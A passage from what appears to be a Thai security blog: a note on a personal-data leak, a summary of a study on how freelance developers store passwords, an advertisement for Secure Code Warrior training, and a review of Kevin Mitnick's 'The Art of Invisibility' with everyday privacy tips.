ซึ่งพบว่าไม่มีข้อมูล Password รั่วออกมา แต่ข้อมูลที่หลุดออกมาเป็นข้อมูลส่วนตัวทั้งนั้นเลย จากที่ดูคร่าว ๆ จาก ที่ลอง Grep .co.th มาไฟล์นึง ก็เห็นว่ามีคนใช้ Email องค์กรตัวเองอยู่ไม่น้อย เลยลอง grep unique email แล้วมานับจำนวนโดย group ตามหน่วยงาน ก็ได้ตามกราฟด้านล่าง
เห็นช่วงนี้หลายบริษัทเริ่มให้ความสนใจและหาทางรับมือกับเรื่องนี้แล้ว ซึ่งเป็นสัญญาณที่ดีมาก ก็ได้แต่หวังว่าเมื่อปีหน้ามีการบังคับใช้พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคล เมื่อไรข้อมูลที่ถูกเก็บไว้ก็จะได้รับความดูแลดีมากขึ้น

# Secure Code Warrior
วันก่อนเจอ Tweet ที่คุณ Troy Hunt เจ้าของ haveibeenpwned ได้ share มาเกี่ยวกับ paper อันนึงที่น่าสนใจมาก คือเค้าอยากรู้ว่าถ้าจ้าง Developer มาพัฒนา Code เนี่ยจะการนึกถึงเรื่อง Security ด้วยหรือไม่ ดังนั้นเค้าจึงได้จ้างให้มีการเขียนโปรแกรมเกี่ยวกับ Registration Process โดยเค้าได้จ้าง Developer จาก [freelancer.com](http://freelancer.com/?fbclid=IwAR0MEqx6jL3lE19paeliRPMIVKcD-9wYB4ktyz6PM23DiHCm%5FkAvc3OWjnI){rel=""nofollow""} เป็นจำนวน 43 คน โดยที่ไม่ได้บอก Security requirement เลย ซึ่งผลลัพธ์ที่ได้ในครั้งแรกนั้นมีจำนวน 18 คนที่ไม่ได้ใส่เรื่องของ Security เข้ามาในระบบเลย ในส่วนของคนที่ไม่ได้มีเรื่อง Security ก็จะถูกบอกให้กลับไปแก้มาใหม่ เมื่อทั้ง 43 คนได้ส่ง code เรียบร้อยแล้ว เค้าก็นำมาศึกษาต่อก็พบว่าวิธีการเก็บ password ของแต่ละคนนั้นแตกต่างกัน บางคนเลือกใช้ Base64 ที่เป็นแค่การ Encoding หรือ บางคนก็เลือกใช้ hashing algorithm ที่ไม่ปลอดภัยในปัจจุบันแล้ว โดยสรุปทั้ง 43 คนได้เลือกใช้วิธีการดังนี้
```bash
10 - MD5
8 - Base64
7 - Bcrypt
5 - SHA-256
5 - PBKDF2
3 - AES
3 - 3DES
1 - SHA-1
1 - HMAC/SHA1
```
โดย Paper นี้ได้มีการสรุป Key Findings มาหลายจุด แต่ผมขอดึงเรื่อง Security ที่เกี่ยวข้องมาดังนี้ครับ
1. If You Want Security, Ask For It. ถ้าต้องการเรื่องของ Security ให้แจ้ง Requirement นี้ไปด้วยเลยตั้งแต่แรก
2. Misconceptions มีความเข้าใจผิดอยู่มากเรื่องของ Encoding, Hashing, Encryption ทั้งในส่วนของ Encoding ที่หน้าตาของมันเหมือนจะถูกแปลงให้อ่านยาก และในส่วนของ Hashing กับ Encryption ที่ยังมีความเข้าใจว่าทั้ง 2 อย่างเหมือนกันอยู่
3. Continuous Learning ส่วนใหญ่ของกลุ่มตัวอย่างนี้ขาดการเรียนรู้ในสิ่งใหม่ๆ เนื่องจาก Final solution ที่ถูกส่งมานั้นมีจำนวนหลายอันที่ใช้วิธีการเก็บ password แบบเก่าๆที่ไม่ปลอดภัยในปัจจุบันแล้ว
4. Copy and Paste พบว่า security code ที่ส่งมานั้นหาได้จากบน Internet
สนใจอ่านรายละเอียดของ Paper นี้เต็ม ๆ ได้ที่ [https://net.cs.uni-bonn.de/.../Naiakshina\_Password\_Study.pdf](https://net.cs.uni-bonn.de/fileadmin/user%5Fupload/naiakshi/Naiakshina%5FPassword%5FStudy.pdf?fbclid=IwAR27%5FTCkV4rTd8SMrRxewiPanKgdfuy3z4BT5S6%5FHPQzdIGeMPi2TRDk30A){rel=""nofollow""}
ในส่วนของการเก็บ Password นั้น OWASP Password\_Storage\_Cheat\_Sheet ([https://github.com/.../Password\_Storage\_Cheat\_Sheet.md](https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2FOWASP%2FCheatSheetSeries%2Fblob%2Fmaster%2Fcheatsheets%2FPassword%5FStorage%5FCheat%5FSheet.md%3Ffbclid%3DIwAR0fdx1VFQteIYTVoO6OEoxCqNiqUMpOSlkctqhhLZ%5FmyWr-b7ObDhYk1Og&h=AT2zU45AyPBOmkKlQ%5FfR5fEmqZfR83EuW6S-EoQRGb509ij%5FvWukafgSS6P6qPGlsxBgOSu6VVvuU-5zjNivCJ3Jnx4jHBF2JYUxbqLb1-xDByo1dy9j948%5FUTss8RzdeHw%5FcRqw&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT1HAq0peEWWwepYy6HxSr8NtEKrLDI2SeIEMb41v0kXUxQmcf6G1wiMF9CH1rycOS750PFUmMHjVGn37%5FD1YVVaL1eXqOETXc6Qo2O0ErQrgY5cMsOGYrDIoPSKAc0xORDIYUhE7i6LWetLsBaL7BG7S31MLesN5Zn8sKfxhqp1nQ4tZZXKwpq8ohCPdadIcpkY8ZNV){rel=""nofollow""}) ได้แนะนำว่ามี 2 วิธีคือ
1. Leverage an adaptive one-way function ใช้ one-way function คู่กับ salt โดย algorithm ที่แนะนำคือ Argon2 และ PBKDF2
2. Leverage Keyed functions ใช้ HMAC คู่กับ Salt (HMAC แบบง่ายๆ ก็คือ one-way function ที่มีการทำ encryption ซ้ำอีกที)
---
ถ้าสนใจอยากเรียนรู้ Secure Coding แล้วล่ะก็มาลอง Secure Code Warrior ได้ โดยเป็น Platform ที่มีจุดเด่นคือ
-ครบถ้วนทุก platform การเขียน ไม่ว่าจะเป็น web, mobile และอื่นๆ
-รวมทุกภาษาไว้ด้วยกัน ตั้งแต่ Java, C#.net, IOS, Android, Node, Python, COBOL และอื่นๆ ซึ่งมีการ update วิธีเขียน coding รวมถึงช่องโหว่ใหม่ๆ ตาม trend ของโลก
-เข้าใจมุมมองของ hacker รวมถึงช่องโหว่ที่ hacker มักจะใช้ และเรียนรู้การเขียน code ให้ปลอดภัยตาม OWASP Top 10
-สนุกในรูปแบบของ gamification และ flexible กับ life style ของ programmer ผู้เรียนสามารถ enjoy กับบทเรียนที่ไหน เมื่อไหร่ก็ได้
นอกจากนี้ยังมี tournament ให้วัดพลังกันในทีมได้อีกด้วย
-license มีระยะเวลา 1 ปี ไม่มีเงื่อนไขจุกจิก เรียนได้ทุกอย่างที่มีใน platform จึงช่วยสร้าง awareness ให้กับ programmer ได้มากกว่าการเรียนรูปแบบเก่า
-องค์กรได้พัฒนาคน สามารถนำผลการฝึกอบรมไปปิด audit issue และนำค่าใช้จ่ายไปลดหย่อนภาษีได้ 200%
---
หากท่านสนใจสามารถติดต่อได้ที่ email: หรือโทร +66800898800
---
# อ่านมาเล่าต่อ: The Art of Invisibility ศาสตร์แห่งการไร้ตัวตนออนไลน์
> People in their handlings of affairs often fail when they are about to succeed. If one remains as careful at the end as he was at the beginning, there will be no failure.
> หลายคนมักพบเจอกับล้มเหลวก่อนที่จะประสบกับความสำเร็จ คนที่ยังคงความระมัดระวังตั้งแต่ตอนต้นจนถึงตอนจบเท่านั้น คือคนที่จะประสบกับความสำเร็จ - Lao Tzu
หลายปีมานี้ ผมมักเห็นข่าว บุคคลบนอินเทอร์เน็ตถูกจับกุม ทั้ง ๆ ที่คนเหล่านั้นล้วนใช้ชื่อปลอม ไม่เคยเปิดเผยใบหน้า หรือไม่เคยลงข้อมูลจริงที่ทำให้ถูกสืบสาวไปจนถึงตัวตนในโลกความเป็นจริงได้เลยแท้ ๆ เขาเหล่านั้นอาจพยายามแล้วที่จะไร้ตัวตน แต่ต่อให้เก่งสักแค่ไหน การคงความสมบูรณ์แบบเอาไว้ในทุก ๆ วันไม่ใช่เรื่องที่ง่ายเลย เพราะความผิดพลาดเพียงจุดเล็ก ๆ แค่จุดเดียว ทำเอาคนที่ว่าเก่งแสนเก่งก็ต้องสะดุดล้มกันมานักต่อนัก ถ้ายังคิดว่าแค่เชื่อมต่อ VPN ทุกครั้งที่ออนไลน์กับสมัคร account ด้วยข้อมูลปลอมขึ้นมา แค่นี้ก็สมูบรณ์แบบแล้ว เช่นนั้นเราก็อาจจะเป็นอีกคนที่ล้มเหลวก่อนที่จะประสบกับความสำเร็จ ถ้าเรายังมีความระมัดระวังที่ไม่เพียงพอ เพราะสิ่งที่เราไม่เคยเห็น ไม่ได้แปลว่ามันไม่มีอยู่… เพราะ "สี่เท้ายังรู้พลาด นักปราชญ์ยังรู้พลั้ง"
- "ข้อมูลส่วนตัวแค่นี้ เปิด Google ก็หาได้"
- "ที่อยู่นับเป็นข้อมูลส่วนตัวตรงไหน ซื้อของออนไลน์ก็ต้องบอกอยู่ดี"
- "เราไม่ใช่คนสำคัญ ไม่มีใครมาสนใจหรอก"
- "ไม่เห็นจะต้องปกปิดเลย มีแต่คนไม่ดีเท่านั้นแหละที่ไม่กล้าเปิดเผย"
รู้หรือไม่ว่า "ความเป็นส่วนตัว" คือสิทธิของเรา ไม่ใช่แค่สิทธิทั่วไป เพราะ "ความเป็นส่วนตัว" ถือว่าเป็นหนึ่งในสิทธิมนุษยชน ตามที่[สหประชาชาติ (UN) ได้ระบุเอาไว้ตั้งแต่ปี ค.ศ. 1948](https://www.un.org/en/universal-declaration-human-rights/){rel=""nofollow""} นั่นหมายถึง ทุกคนมีสิทธิและเสรีภาพในข้อมูลของตัวเอง 100%
ทุกการคลิก ทุกการกดถูกใจ ทุกการกดติดตาม ทุกเว็บไซต์ที่เราเข้า รอยเท้าของเราถูกเก็บรวบรวมจนกลายเป็น Digital Profile ที่เราเองอาจไม่รู้ตัวเลย จนกระทั่งวันดีคืนดีที่เราคิดว่าอยากจะได้รองเท้าคู่ใหม่สักคู่ แล้วจู่ ๆ ก็มีโฆษณารองเท้าลดราคาโผล่ขึ้นมาอย่างบังเอิญสุด ๆ ดังนั้นอยากให้ทุกคนย้อนกลับมาทบทวนอีกครั้ง ว่าเราไม่มีสิ่งที่ต้องปกปิดจริง ๆ หรือมันเป็นสิ่งที่เราลืมที่จะปกป้องทั้งที่ควรจะปกป้องให้ดีกันแน่?
"The fact is that we live with an illusion of privacy, and we probably have been living this way for decades." (Kevin Mitnick with Robert Vamosi, The Art of Invisibility, 2017, p. 14) :br
"ความจริงก็คือเรากำลังใช้ชีวิตอยู่กับภาพลวงของคำว่าความเป็นส่วนตัว และเราอาจจะใช้ชีวิตอยู่แบบนี้มานานหลายทศวรรษแล้ว"
## I. แนะนำหนังสือ

The Art of Invisibility เป็นหนังสือเล่มที่ 4 ของ Kevin David Mitnick ที่เขียนร่วมกับ Robert Vamosi ซึ่งหากใครยังไม่รู้จัก Kevin Mitnick เขาคือที่ปรึกษาด้านความมั่นคงปลอดภัยไซเบอร์ (Cyber Security Consultant) ที่มีชื่อเสียงมาก ๆ คนหนึ่ง แต่เหตุการณ์ที่ทำให้ Kevin Mitnick ดังเป็นพลุแตกมากที่สุดดูเหมือนจะเป็นการถูกจับเป็นระยะเวลา 5 ปี ด้วยคดีที่เกี่ยวข้องกับการคุกคามทางไซเบอร์ แต่กว่าจะถูกจับกุมตัวได้ก็เรียกว่าทำเอา FBI หัวปั่นเหมือนกัน เพราะ Kevin Mitnick ทั้งหนีและหลบซ่อนเก่งเอามาก ๆ ซึ่งเขาได้เล่าถึงเรื่องราวการหลบหนี การไล่ล่าก่อนจะถูกจับกุมตัวได้ในหนังสือเล่มที่ 3 - Ghost in the Wires สามารถไปหาอ่านกันได้ครับ
จากเหตุการณ์สร้างชื่อนี้เอง ทำให้ Kevin กลายเป็นนักความมั่นคงปลอดภัยไซเบอร์ที่น่าจับตามองมากที่สุดอีกคนหนึ่งในวงการ ด้วยความสามารถในการหนีการถูกตามล่า เทคนิคต่าง ๆ ของเขาจึงถูกรวบรวมและนำมาเขียนเอาไว้ในหนังสือเล่มนี้ เพราะในปัจจุบันนี้ การที่คุณนั่งท่องเว็บไซต์อยู่เงียบ ๆ ภายในห้องเพียงลำพัง มันไม่ได้หมายความว่าคุณจะปลอดภัยอีกต่อไป…
- การเข้ารหัส และการส่งอีเมลอย่างปลอดภัย
- วิธีการตั้งรหัสผ่านที่ดี รวมถึงการปกป้องไม่ให้รหัสผ่านถูกล่วงรู้
- การซ่อน IP Address เมื่อท่องอินเทอเน็ต
- ปิดกั้นไม่ให้เว็บไซต์หรือใครสามารถตามรอยคุณได้บนอินเทอร์เน็ต
- รักษาเอาไว้ซึ่งความนิรนาม (anonymity)
- และเกร็ดเล็กน้อยอื่น ๆ
## II. รีวิวตามความเห็นส่วนตัว
ถ้าแค่มองจาก Title ของหนังสือ แน่นอนว่าสิ่งที่คาดหวังว่าจะได้รับเมื่อได้อ่านมันก็คือ เทคนิคในการอำพรางตัวเองบนโลกไซเบอร์แบบจับไม่ได้ไล่ไม่ทัน แต่เมื่อได้อ่านแล้ว แทบจะไม่ค่อยได้เทคนิคพิเศษชวนทึ่งอะไรไปจากหนังสือเล่มนี้เลย เรียกว่าเป็นเทคนิคทั่วไปแล้วลงรายละเอียดในแต่ละขั้นตอนที่มากขึ้นเท่านั้น หรืออาจเนื่องด้วยตัวผู้เขียนมีความรู้หรือประสบการณ์พอสมควรอยู่แล้วจึงทำให้เทคนิคต่าง ๆ ที่หนังสือนี้แนะนำดูเป็นของธรรมดาที่รู้จักหรือใช้งานอยู่แล้วในชีวิตประจำวัน แต่ถ้าในแง่มุมของการเพิ่มความตระหนักให้กับผู้อ่าน (Awareness) ว่าโลกใบนี้ยังมีดวงตาที่เรา ๆ นั้นมองไม่เห็นอยู่อีกมากมาย พร้อมกับยกเรื่องราวต่าง ๆ ที่เคยเกิดขึ้นจริงมาเป็นกรณีอ้างอิงไปด้วย ถือว่าทำออกมาได้อย่างดี ฉลาดที่จะเลี่ยงการใช้ศัพท์เทคนิคที่มากจนเกินไป แถมมีการอธิบายให้เข้าใจได้ง่าย เวลาที่จำเป็นต้องยกศัพท์เทคนิคเข้ามาเกี่ยวข้อง บวกกับการเขียนบรรยายที่อ่านแล้วเพลินเหมือนกับอ่านนิทานสักเรื่อง ทำให้แม้แต่คนที่มีความรู้ระดับพื้นฐาน ไปจนถึงบุคคลทั่วไป ก็สามารถที่จะเข้าใจได้ไม่ยากนัก
โดยรวมแล้วจึงเป็นหนังสือที่อาจจะเหมาะกับคนทั่วไปหรือคนที่มีความรู้ในระดับพื้นฐานมากกว่าเพราะน่าจะได้เทคนิคหรือความรู้หลากหลายแง่มุม แต่สำหรับผู้ที่มีความรู้ในด้าน Cyber Security อยู่พอสมควรไปจนถึงระดับเชี่ยวชาญ อาจจะพบว่าเป็นน้ำที่ค่อนข้างเยอะ เพราะกว่าครึ่ง (หรืออาจมากกว่า) จะเน้นไปทางการยกเหตุการณ์ หรือสิ่งที่คุณ Kevin พบเจอมาเล่าเสียมากกว่า เลยอยากให้มองว่าได้กรณีศึกษา หรือเหตุการณ์ที่เคยเกิดขึ้นในนานาประเทศแทน ถือเป็นการอัปเดตข่าวสารไปในตัว รวมถึงอาจเป็นประโยชน์ในการนำไปอ้างอิงถึง หรือใช้ประกอบการสอนในโอกาสต่าง ๆ ได้เหมือนกัน
## III. สรุปแง่มุมที่ได้รับจากหนังสือ
หมายเหตุ: สิ่งที่จะบรรยายต่อไปนี้เป็นมุมมองของผมเพียงคนเดียวเท่านั้น ไม่ได้เป็นตัวบ่งบอกเนื้อหาหรือแง่มุมทั้งหมดของหนังสือเล่มนี้ ในหนังสือยังมีอีกหลายสิ่งที่ผมไม่ได้นำมาบรรยายถึง หากใครที่สนใจ แนะนำเป็นอย่างยิ่งว่าควรหามาอ่านด้วยตนเองอีกทีครับ
1. รหัสผ่าน คือประตูด่านแรกถ้าใครพอคุ้น ๆ กับ TheFappening Project น่าจะรู้ว่าข้อมูลบางส่วนในนั้นก็ได้มาง่าย ๆ จากการแค่เดารหัสผ่าน iCloud ของดาราฮอลลีวูดเท่านั้นเอง (จริง ๆ เหตุการณ์นี้เกี่ยวข้องกับอีกหลายเรื่อง [ใครที่สนใจลองไปฟัง Podcast ของ DarknetDiaries ตอนนี้ดูครับ](https://darknetdiaries.com/episode/34/){rel=""nofollow""}) หนังสือเล่มนี้ยกเอากรณีศึกษาจากผลของการตั้งรหัสผ่านที่ไม่รัดกุมทำให้เกิดอะไรขึ้นได้บ้าง ดังนั้นรหัสผ่านตั้งให้ดี อย่าใช้ซ้ำ อย่าจด และอย่าวางใจระบบรักษาความปลอดภัยมากเกินไป แล้วยิ่งกับโทรศัพท์มือถือ หรือคอมพิวเตอร์ส่วนตัวของบางคนที่มองว่าใช้เองอยู่คนเดียว ตั้งอยู่ในห้องตัวเอง อาจละเลยการตั้งรหัสผ่านเพื่อล็อคเอาไว้ เชื่อเถอะครับ เราไม่มีวันรู้หรอกว่าอะไรจะเกิดขึ้นตอนไหน กันไว้ดีกว่าแก้เสมอ
2. โทรศัพท์ = เครื่องติดตาม :br
การวิเคราะห์ที่อยู่หรือที่ทำงานเราอาจทำได้ง่าย ๆ แค่ดู log ค่า IMSI ของซิมการ์ดเราที่บันทึกไว้ที่เสาสัญญาณที่ไหนที่หนึ่ง ถ้าพบแค่เฉพาะช่วงเช้าถึงเย็น แถวนั้นอาจเป็นที่ทำงานของเรา แล้วถ้าไล่ตามดู log ทุก ๆ เสาสัญญาณที่มีค่า IMSI ของเราอยู่ จนสามารถพล็อตออกมาเป็นกราฟเส้นได้ แค่นี้ก็รู้แล้วว่าเราเดินทางไป-กลับ โดยใช้ถนนเส้นไหน อยู่บริเวณไหนกี่นาที และบ้านอาจจะอยู่แถวไหน นี่จึงเป็นเหตุผลที่เราเห็นในภาพยนตร์หลาย ๆ เรื่องถึงกับต้องหักมือถือหรือบดขยี้ซิมการ์ดทิ้งเพื่อไม่ให้โดนตามรอย ดังนั้นถ้าคิดจะล่องหนแล้ว อย่าเผลอใช้มือถือตัวเอง ปิดเครื่องก็พอ ไม่ต้องถึงกับทำลาย แล้วไปหาซื้อมือถือราคาถูกกับซิมนักท่องเที่ยวมาใช้งานแทน
3. ไม่เข้ารหัสไม่ต้องคุย :br
Data in use, Data at rest และ Data in motion หลาย ๆ คนน่าจะคุ้นเคยกับคำเหล่านี้ Data in use และ Data at rest เราปกป้องง่าย ๆ ด้วยการเข้ารหัสทุกครั้ง และถอดรหัสเมื่อจะนำมาใช้ และใช้ Disk Encryption ซึ่งระบบปฏิบัติยอดฮิตก็มีมาให้อยู่แล้วอย่าง [BitLocker](https://support.microsoft.com/th-th/help/4028713/windows-10-turn-on-device-encryption){rel=""nofollow""} ของ Windows หรือ [FileVault](https://support.apple.com/th-th/HT204837){rel=""nofollow""} ของ Mac :br
ที่ยากที่สุดคือ Data in motion การส่งข้อมูลก็เหมือนการส่งของ เราจะต้องอาศัยตัวกลางที่จะนำของของเราไปส่งให้ถึงปลายทาง คำถามคือ แล้วตัวกลางที่ว่าปลอดภัยจริงหรือไม่? เราเคยเห็นข่าวมากมายว่าพนักงานส่งพัสดุยังแอบแกะพัสดุของลูกค้าดู หรือของบางอย่างก็ถูกสลับเปลี่ยนก่อนถึงปลายทาง สิ่งเหล่านี้เกิดขึ้นบ่อยมากกับการส่งข้อมูลบนอินเทอร์เน็ต ที่น่ากลัวกว่าคืออาจจะไม่รู้ด้วยซ้ำว่ามีมือที่สามคั่นกลางอยู่ ดังนั้น ทุกครั้งที่คิดจะส่งข้อมูลสำคัญ end to end encryption คือคำตอบ ถ้าเป็นการส่งอีเมลต้องนำ [PGP](https://www.openpgp.org/){rel=""nofollow""} มาใช้ ส่วนถ้าเป็นการส่งข้อความหรือแชททั่วไป หลายแอปพลิเคชันก็มีการประกาศชัดเจนว่ารองรับ end to end encryption อยู่แล้ว [ตัวอย่างเช่น LINE ก็มีการระบุเอาไว้](http://help.line.me/line/android/pc?lang=th&contentId=50000087){rel=""nofollow""} หรือถ้าไม่มั่นใจให้ดูว่าแอปพลิเคชันนั้นใช้ [Off-The-Record (OTR)](https://otr.cypherpunks.ca/){rel=""nofollow""} หรือ [Perfect Forward Secrecy (PFS)](https://en.wikipedia.org/wiki/Forward%5Fsecrecy){rel=""nofollow""} อันใดอันหนึ่งหรือไม่ ถ้าใช้ทั้งคู่ก็ยิ่งดี สุดท้ายอย่าตกม้าตายด้วยการลืมซ่อน IP Address ก่อนจะใช้งาน
4. อย่าสร้างรอยเท้าที่ไม่จำเป็น :br
Web Browser ปัจจุบันล้วนเสนอทางเลือกในการท่องเว็บแบบไม่จดจำมาให้แล้ว อย่าง Chrome จะเรียก Incognito Mode หรือ Firefox, Microsoft Edge และ Safari จะเรียก Private Mode ฟีเจอร์เหล่านี้ล้วนช่วยป้องกันการถูกติดตามได้ในระดับหนึ่ง
5. คิดก่อนคลิก :br
ต่อให้เราใช้ Incognito หรือ Private Mode ก็แล้ว ยังมีเทคนิคอีกมากมายที่ยังคงสามารถตามรอยเราได้อยู่ดี ทางที่ดีคือ อย่าท่องหลายเว็บไซต์พร้อมกัน ยิ่งเก็บ Cookie จำนวนมาก ก็ยิ่งสร้าง Digital Profile ได้แม่นยำขึ้น ใช้วิธีการปิด-เปิด Web Browser เพื่อเป็นการล้าง Cookie ออกก่อน และควรหันไปใช้ Software จำพวก Virtual Machine ช่วยด้วยเพื่อลบร่องรอยคอมพิวเตอร์ของเราให้แนบเนียน ในหนังสือมีการแนะนำถึงขั้นที่ว่า ควรมีการซื้อคอมพิวเตอร์แยกเฉพาะจุดประสงค์ไปเลย เช่น เครื่องสำหรับทำธุรกรรมทางการเงิน เครื่องสำหรับเล่น Social Media และเครื่องสำหรับใช้ทำงาน เป็นต้น นอกจากนี้ยังมีส่วนขยายเพิ่มเติมสำหรับติดตั้งบน Web Browser เพื่อให้การถูกตามรอยเป็นไปได้ยากขึ้น อย่างเช่น NoScript หรือ Privacy Badger (แหล่งข้อมูลเพิ่มเติม: {rel=""nofollow""})
6. กำจัดจุดอ่อน :br
นึกให้ดี ๆ ว่าเราเคยแชร์ข้อมูลส่วนตัวหรือเผลอสร้างร่องรอยของเราไว้ที่ไหนบ้าง อย่างการบอกโรงเรียนมัธยมที่เรียนจบมาอยู่บนโปรไฟล์ Facebook ดีไม่ดีก็มีเบอร์โทรบอกไว้ด้วย สนับสนุนพรรคการเมืองไหน เชียร์ทีมฟุตบอลอะไร ชอบวงดนตรีแบบไหน หรือกดถูกใจแฟนเพจอะไรเอาไว้บ้าง ยังคงเปิดการโพสต์สถานะเป็นแบบสาธารณะอยู่หรือเปล่า สิ่งเหล่านี้ล้วนเป็นข้อมูลตั้งต้นชั้นดีให้ตามรอยได้ง่ายขึ้น หรืออุปกรณ์อิเล็กทรอนิกส์ที่นำกลับมาจากที่ทำงานปลอดภัยต่อความเป็นส่วนตัวของเราหรือไม่
7. ทุกอย่างเชื่อได้ แต่ห้ามไว้ใจเป็นอันขาด :br
Wi-Fi สาธารณะ ย้ำแล้วย้ำอีกว่าไม่ปลอดภัยก็ยังมีคนใช้ ต่อให้เชื่อม Wi-Fi แล้วต่อ VPN อีกทีถึงจะพอช่วยได้ แต่จะให้ดีใช้อินเทอร์เน็ตส่วนตัวดีกว่า หลายคนยังคงเชื่อว่าเชื่อมต่อ VPN แล้วปลอดภัยหายห่วง ซี่งความจริงคือ VPN ที่เราใช้อาจเก็บ log เอาไว้ก็ได้ ต่อให้บอกว่าไม่เก็บแต่เราจะรู้ได้อย่างไร? เชื่อได้ แต่อย่าไว้ใจ ยิ่งแล้วใหญ่กับเว็บไซต์ที่ใช้ HTTPS หลายคนเชื่อว่าปลอดภัย ทั้งที่เว็บไซต์ปลอมมากมายก็ใช้งาน HTTPS ดังนั้นย้ำชัด ๆ อีกที ทุกอย่างเชื่อได้ แต่ห้ามไว้ใจนะครับ
8. คนร้ายก็คือคุณนั่นแหละ :br
ความลับที่มีคนรู้มากกว่า 1 คนไม่เรียกว่าความลับ กับข้อมูลของเราก็เหมือนกัน ถ้ามันไม่ได้เริ่มต้นมาจากเรา มันจะมาจากใคร เราคือคนแรกที่ยินยอมหรือเปิดเผยหรือข้อมูลออกไปเอง อย่างการโพสต์รูปเซลฟี่ระบุสถานที่แถมตั้งค่าโพสต์เป็นสาธารณะ ยิ่งสมัยนี้การอำนวยความสะดวกของมือถือในการถ่ายภาพก็มีการบันทึกข้อมูลสถานที่ลงไปในภาพนั้น ๆ ด้วย ฉลาดขึ้นไปอีกก็มีการทำ Face Recognition เพื่อจำแนกบุคคลในภาพ แบ่งเป็นอัลบั้มให้จัดการได้ง่ายขึ้น ซึ่งสิ่งเหล่านี้ล้วนเป็นข้อมูลส่วนตัวของเรา ดังนั้นย้อนกลับมาตั้งคำถามกับตัวเองอีกที ว่าใครกันที่เริ่มทำลายความเป็นส่วนตัวของเราก่อน?
9. หนีได้แต่หลบไม่พ้น :br
ต่อให้เราพยายามจะทำทุกอย่างเพื่อรักษาความไร้ตัวตนเอาไว้ แต่การใช้ชีวิตในปัจจุบันอาจมีหลายสิ่งที่พบเจอจนเป็นเรื่องปกติและทำให้เราอาจมองข้ามไป เช่น Smartwatch ที่หลายคนเลือกซื้อมาใช้วัดอัตราการเต้นของหัวใจขณะออกกำลังกายหรือใส่นอนหลับเพื่อใช้วิเคราะห์การนอน ยิ่งกับคนที่มีอุปกรณ์ IoTs เต็มบ้านจนเป็น Ecosystem ของยี่ห้อใดยี่ห้อหนึ่งยิ่งไม่ต้องพูดถึงเลยว่าจะมีข้อมูลส่วนตัวถูกเก็บเอาไว้ในอุปกรณ์เหล่านั้นมากแค่ไหน มันคือโปรไฟล์ชั้นดีที่ละเอียดเสียยิ่งกว่าจ้างนักสืบมาสะกดรอยตาม หรือกับแอปพลิเคชันสำหรับสายวิ่งอย่าง Strava ที่มีการแชร์ข้อมูล Activity ของผู้ใช้งานแบบสาธารณะเป็นค่าเริ่มต้น หากผู้ใช้งานต้องการปิดการแชร์ จะต้องไปแก้ไขใน Privacy Setting เอาเอง :br
เรื่องกล้องกันบ้าง กล้องวงจรปิด กล้องติดรถยนต์ กล้องติดหมวกของรถจักรยานยนต์ ถ้าเผลอติดเข้าไปอยู่ในพื้นหลังของภาพคนกำลังถ่ายเซลฟี่ หรือเผลอเดินผ่านตอนคนถ่ายทำ vlog ไหนจะเทคโนโลยีการซูมกว่า 50 เท่าของมือถือในปัจจุบันเพื่อถ่ายภาพจากระยะไกลพร้อมจะคุกคามความเป็นส่วนตัวของใครก็ได้ในละแวกนั้น กล้องนี้รวมไปถึงโดรนถ่ายภาพที่ทุกวันนี้มีราคาที่จับจองเป็นเจ้าของกันได้ไม่ยากแล้ว ตัวอย่างเหล่านี้เป็นสิ่งบ่งบอกว่านอกจากตัวเราแล้ว ยังมีอีกหลายอย่างที่พร้อมจะทำลายความเป็นส่วนตัวของเราในที่แจ้ง
10. ที่ที่ปลอดภัยที่สุดคือที่ที่อันตรายที่สุด :br
ในเมื่อที่แจ้งอันตราย งั้นอยู่เงียบ ๆ คนเดียวในบ้าน หรือในรถยนต์ของตัวเองติดฟิล์มทึบ ก็คือไม่ได้หมายความว่าเราจะปลอดภัย บางทีการแค่บิดกุญแจสตาร์ทเครื่อง ตำแหน่งรถยนต์ของเราอาจจะแชร์ออกไปหาศูนย์รถยนต์โดยที่ไม่รู้ตัว หรืออย่างน้อยก็ต้องมีเก็บบันทึกเอาไว้ที่ส่วนใดส่วนหนึ่งของตัวรถ รอแค่ให้ใครสักคนมาเอาข้อมูลนี้ออกไปเท่านั้นเอง หรือหลีกเลี่ยงไปนั่งรถคนอื่นแทน หรือเรียกรถแท็กซี่ ซึ่งตรงนี้ก็เป็นไปได้สูงเลยว่าเราต้องออกไปในที่แจ้งอีก แล้วถ้าเรียก Grab ให้มารับถึงหน้าประตูบ้านเลย ไม่มีใครเห็นแน่นอน แต่การจะเรียก Grab ก็ต้องระบุตำแหน่งต้นทาง และปลายทางอยู่ดี ซึ่งจะถูกบันทึกอยู่ในประวัติการใช้งานในบัญชี Grab ของเราอีก :br
งั้นไม่ต้องไปไหนเลยแล้วกัน ขังตัวเองอยู่ในบ้าน ก็ยังไม่ปลอดภัยอยู่ดี ตราบใดที่ในบ้านของเรายังเต็มไปด้วย Smart Devices นานาชนิด ดีไม่ดีบ้านของใครหลายคนอาจเป็น Smart Home เพราะกล้องวงจรปิดเองไม่ใช่ของที่เข้าถึงยากอีกต่อไป ทุกวันนี้มีกล้องวงจรปิดหลายยี่ห้อที่แข่งกันอำนวยความสะดวกให้ผู้ซื้อติดตั้งที่บ้าน เต็มไปด้วยฟีเจอร์มากมาย อย่างการควบคุมผ่านอินเทอร์เน็ตได้ ออกไปนอกบ้านก็ยังเปิดดูได้ผ่านมือถือ :br
อีกสิ่งหนึ่งที่แทบจะมีทุกบ้านในยุคสมัยนี้อย่าง Smart TV ทีวีที่เป็นมากทีวี สามารถลงแอปพลิเคชันได้ มี YouTube หรือ Netflix และแน่นอนเชื่อมต่ออินเทอร์เน็ตได้ ดีไม่ดีมีกล้องติดมาด้วย แล้วเคยคิดหรือไม่ว่าระบบเหล่านี้ปลอดภัยแค่ไหน หรือข้อมูลถูกส่งออกไปไหนบ้าง? มีการบันทึกเสียงโดยที่เราไม่รู้ตัวบ้างหรือเปล่า?
11. ของเราที่ไม่ใช่ของเรา (ทิ้งท้าย) :br
